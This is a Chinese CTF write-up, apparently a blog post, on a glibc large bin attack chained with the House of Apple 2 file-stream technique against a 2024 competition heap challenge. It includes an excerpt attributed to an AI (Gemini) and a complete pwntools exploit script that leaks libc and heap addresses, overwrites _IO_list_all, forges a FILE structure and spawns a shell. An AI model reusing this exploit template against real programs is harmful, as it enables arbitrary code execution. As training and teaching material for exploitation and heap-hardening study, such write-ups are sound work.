large bin attack

image-20251023113054033

large bin attack原理

Glibc 在将一个 chunk 插入 Large Bin 时,会尝试将它链入已有的 chunk 链表中。如果我们将已有 chunk (Chunk 0) 的 bk_nextsize 指针修改为 TargetAddr - 0x20,由于链表操作逻辑: victim->bk_nextsize->fd_nextsize = new_chunk 系统就会执行: *(TargetAddr - 0x20 + 0x20) = new_chunk 即: *TargetAddr = new_chunk

题目解析:2024年强网拟态初赛

正常菜单题,增删改查都有

img

这里的add函数只能申请大于0x4ff的堆块,由于tache bin的范围在0x80-0x400,所以本题目要用到large bin attack加apple2链子来打

img

很明显的uaf,可以先泄露出来libc和堆地址

img

先基本的堆布局,然后就是正常的泄露信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
add(0,0x520)
add(1, 0x510)
add(2, 0x510)

free(0)
show(0)
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) - 0x21ace0
log.success(xilker(f'libc_base-->{hex(libc_base)}'))
add(3, 0x550) # chunk0申请回来了,为了把chunk0从unsortbin放入到largebin中 这里注意要申请一个相对大一点chunk
edit(0, 'a' * 0x10)
show(0)
p.recvuntil(b'a' * 0x10)

heap_base = u64(p.recv(6).ljust(8, b'\x00')) - 0x290
log.success(xilker(f'heap_base-->{hex(heap_base)}'))
_IO_list_all = libc_base + libc.sym['_IO_list_all']
_IO_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps']
_IO_stdfile_2_lock = libc_base + 0x21ca60 # stderr偏移0x88的位置
ogg = libc_base + ogg[1]
system_addr = libc_base + libc.sym['system']
target = libc_base + 0x21ace0 # main_arena + 86
log.success(xilker(f'IO-->{hex(target)}'))
free(2) # # chunk2作为攻击块

这两个地址是我们后续要重点使用的,下面开始重点的large bin attack

1
2
_IO_list_all = libc_base + libc.sym['_IO_list_all']
_IO_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps']

这里开始large bin attack,我们先看一下没攻击前的堆布局chunk2作为攻击块,此时还在unsortbin中

img

img

此时我们刚泄露完地址的chunk0已经在largebin中,我们开始伪造指针,使得后面吧IO_list_all申请到chunk2来伪造io结构

img

此时我们执行paylaod得到一下结果,bk_nextsize就是我们的IO_list_all地址,large_bin_attck在bk_nextsize指针上起作用,所以第二个target指针可以设置为0或者让他恢复为main_arena的可写地址避免麻烦,伪造fd_nextsize为本身,然后伪造bk_nextsize为IO_list_all-0x20

1
2
p1 = p64(0) + p64(target) + p64(heap_base + 0x290) + p64(_IO_list_all - 0x20)
edit(0, p1)

img

img

img

_IO_list_all - 0x20的原因

在 Glibc 把一个新堆块(假设是 Chunk 2)插入到这个 Large Bin 的过程中,如果满足插入条件,会执行如下宏操作:

1
2
3
4
5
// 简化后的 Glibc 源码逻辑
victim->bk_nextsize = fwd->bk_nextsize;
victim->fd_nextsize = fwd; // fwd前一个大小不一样堆块
fwd->bk_nextsize = victim; // bck // 后一个大小不一样的堆块
victim->bk_nextsize->fd_nextsize = victim; // <--- 关键!

当把 fwd->bk_nextsize 修改为 _IO_list_all - 0x20 后:

  1. victim->bk_nextsize 变成了 _IO_list_all - 0x20
  2. 最后一句话变成了:(_IO_list_all - 0x20)->fd_nextsize = victim
  3. 由于 fd_nextsize 字段相对于堆块头部的偏移正好是 **0x20**
  4. 结果就是:*(_IO_list_all - 0x20 + 0x20) = victim
  5. 即:_IO_list_all 的内容被改写成了 victim 的堆地址

接着我们去申请一个大的chunk,触发malloc申请机制,吧chunk

img

img

这里就会有一个问题: 这个paylaod结束后我申请了0x550大小的堆块,为什么在0chunk构造的_IO_list_all-0x20指针,此时会变为chunk2的bk_nextsize为_IO_list_all?,以下是gemini3的回答

简单一句话总结:因为在 Large Bin Attack 的过程中,Glibc 会把新插入的 Chunk 2 “强行”插入到你伪造的 **bk_nextsize** 链表节点之间。

让我们通过 Glibc 的源码逻辑(通常是 malloc.c 中的 _int_malloc 整理 Unsorted Bin 的部分)来还原这个过程:

1. 攻击发生前的状态

  • **Chunk 0 (在 Large Bin 中)**:你的 payload 已经把它的 bk_nextsize 改成了 _IO_list_all - 0x20
  • **Target (目标位置)**:此时 _IO_list_all 偏移 0 处的内容还是旧的(比如指向 stderr 或者 0)。
  • **Chunk 2 (在 Unsorted Bin 中)**:正准备被 malloc(0x550) 整理进 Large Bin。

2. 插入逻辑触发 (关键源码追踪)

当 Glibc 确定 Chunk 2 应该插入到 Chunk 0 所在的这个 Large Bin 链表,并且 Chunk 2 的大小适合作为 Chunk 0 的“后继”时,会执行类似下面的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
// 假设 fwd 是 Chunk 0
// victim 是新来的 Chunk 2

victim->fd_nextsize = fwd; // 1. Chunk 2 的 fd_nextsize 指向 Chunk 0
victim->bk_nextsize = fwd->bk_nextsize; // 2. Chunk 2 的 bk_nextsize 拿到了 Chunk 0 原本的 bk_nextsize

// 此时由于你改了 Chunk 0 的 bk_nextsize,
// 所以 victim->bk_nextsize = _IO_list_all - 0x20

fwd->bk_nextsize = victim; // 3. Chunk 0 的 bk_nextsize 指向 Chunk 2

// --- 绝杀的一步 ---
victim->bk_nextsize->fd_nextsize = victim;

由于在第 2 步中,victim->bk_nextsize 被赋成了 _IO_list_all - 0x20,那么第 4 步实际上变成了:

1
((_IO_list_all - 0x20))->fd_nextsize = victim;

在 Glibc 的 malloc_chunk 结构体中,fd_nextsize 字段相对于当前地址的偏移正好是 0x20。所以: *(_IO_list_all - 0x20 + 0x20) = victim; 即: *(_IO_list_all) = Chunk 2的地址;

  • Chunk 0bk_nextsize 现在指向 Chunk 2
  • Chunk 2bk_nextsize 指向了 **_IO_list_all - 0x20**
  • **_IO_list_all** 处的值变成了 Chunk 2 的地址(被当成了 fd_nextsize 写入了)。

现在 _IO_list_all 已经被劫持指向了 Chunk 2,当程序执行 exit 或从 main 返回时,系统会遍历 _IO_list_all 并尝试刷新缓冲区。我们需要在 Chunk 2 里伪造好结构体

下面就是在chunk2中伪造IO结构体

House of Apple 2 的核心是利用 _IO_wfile_overflow 函数。调用链如下:

  1. 系统调用 _IO_OVERFLOW(fp)
  2. 我们把 vtable 劫持为 _IO_wfile_jumps,所以实际调用的是 _IO_wfile_overflow
  3. _IO_wfile_overflow 内部检查 _wide_data,并最终通过 _wide_vtable 调用函数: *(fp->_wide_data->_wide_vtable + 0x68)(fp)

这里是一个apple2模板,可以直接用

有一点要注意的是heap_addr和target_addr是根据当前堆布局算出来的,这里的0x290就是计算堆基地址的偏移,然后0x500是攻击chunk2堆块地址的前一个chunk大小,0x550是刚才申请的chunk大小。0x550和0x500都是可以变的。至于模板里的偏移是固定的

这里的偏移只要满足计算完的长度刚好是这个攻击块的chunk就可以,偏移有误差可以手动计算一下

img

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
p2 = b'\x00'
p2 = p2.ljust(0x18, b'\x00') + p64(1)
p2 = p2.ljust(0x90, b'\x00') + p64(heap_addr + 0xe0)
p2 = p2.ljust(0xc8, b'\x00') + p64(_IO_wfile_jumps)
p2 = p2.ljust(0xd0 + 0xe0, b'\x00') + p64(target_addr + 0xe0 + 0xe8)
p2 = p2.ljust(0xd0 + 0xe8 + 0x68, b'\x00') + p64(ogg)
from pwn import *
import json
context(os='linux', arch='amd64', log_level='debug')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
p = process('./pwn')

def xilker(x, code=95):
return f"\x1b[{code}m{x}\x1b[0m"


def menu(index):
p.recvuntil('>')
p.sendline(str(index))

def add(index, size):
menu(1)
p.recvuntil('input your index')
p.sendline(str(index))
p.recvuntil('input your size')
p.sendline(str(size))

def edit(index, content):
menu(2)
p.recvuntil('input your index')
p.sendline(str(index))
p.recvuntil('nput your content')
p.send(content)

def free(index):
menu(3)
p.recvuntil('input your index')
p.sendline(str(index))

def show(index):
menu(4)
p.recvuntil('input your index')
p.sendline(str(index))

ogg = [0x50a47, 0xebc81, 0xebc85, 0xebc88, 0xebce2, 0xebd3f, 0xebd43]
add(0,0x520)
add(1, 0x510)
add(2, 0x510)

free(0)
show(0)
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) - 0x21ace0
log.success(xilker(f'libc_base-->{hex(libc_base)}'))
add(3, 0x550) # chunk0申请回来了,为了把chunk0从unsortbin放入到largebin中
edit(0, 'a' * 0x10)
show(0)
p.recvuntil(b'a' * 0x10)

heap_base = u64(p.recv(6).ljust(8, b'\x00')) - 0x290
log.success(xilker(f'heap_base-->{hex(heap_base)}'))
_IO_list_all = libc_base + libc.sym['_IO_list_all']
_IO_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps']
_IO_stdfile_2_lock = libc_base + 0x21ca60
ogg = libc_base + ogg[1]
system_addr = libc_base + libc.sym['system']
target = libc_base + 0x21ace0 # main_arena + 86
log.success(xilker(f'IO-->{hex(target)}'))
free(2) # chunk2作为攻击块

# 准备large bin attack
p1 = p64(0) + p64(target) + p64(heap_base + 0x290) + p64(_IO_list_all - 0x20)
edit(0, p1)

add(4, 0x550)
heap_addr = heap_base + 0x550 + 0x500 + 0x290
target_addr = heap_base + 0x550 + 0x500 + 0x290

p2 = b'\x00'
p2 = p2.ljust(0x18, b'\x00') + p64(1)
p2 = p2.ljust(0x90, b'\x00') + p64(heap_addr + 0xe0)
p2 = p2.ljust(0xc8, b'\x00') + p64(_IO_wfile_jumps)
p2 = p2.ljust(0xd0 + 0xe0, b'\x00') + p64(target_addr + 0xe0 + 0xe8)
p2 = p2.ljust(0xd0 + 0xe8 + 0x68, b'\x00') + p64(ogg)


edit(2, p2)
#gdb.attach(p)

p.sendlineafter("exit\n" , b'5')

p.interactive()